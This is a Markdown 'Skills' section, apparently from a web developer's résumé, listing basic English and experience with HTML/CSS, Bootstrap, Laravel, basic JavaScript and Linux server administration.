## SKILLS

---

### Languages:

- Basic proficiency in English, able to understand and communicate in everyday technical and professional contexts.

### Technical skills:

- **HTML & CSS:** Familiar with HTML for structuring web content and CSS for designing and styling web pages. Able to create responsive layouts and ensure cross-browser compatibility.
- **Bootstrap:** Experience using the Bootstrap framework for building responsive and mobile-first websites with pre-designed components and grid systems.
- **Laravel:** Working knowledge of Laravel, a PHP framework, to build dynamic and scalable web applications with clean, readable code.

- **JavaScript (Basic):** Basic understanding of JavaScript to add interactive elements and functionality to websites, such as form validation and event handling.
- **Linux Operating System :** Proficient in using Linux for system administration tasks, including managing file systems, configuring network settings, and installing software packages. Comfortable with basic terminal commands, shell scripting, and configuring web servers like Apache or Nginx. Knowledgeable in troubleshooting and maintaining Linux-based servers and services.
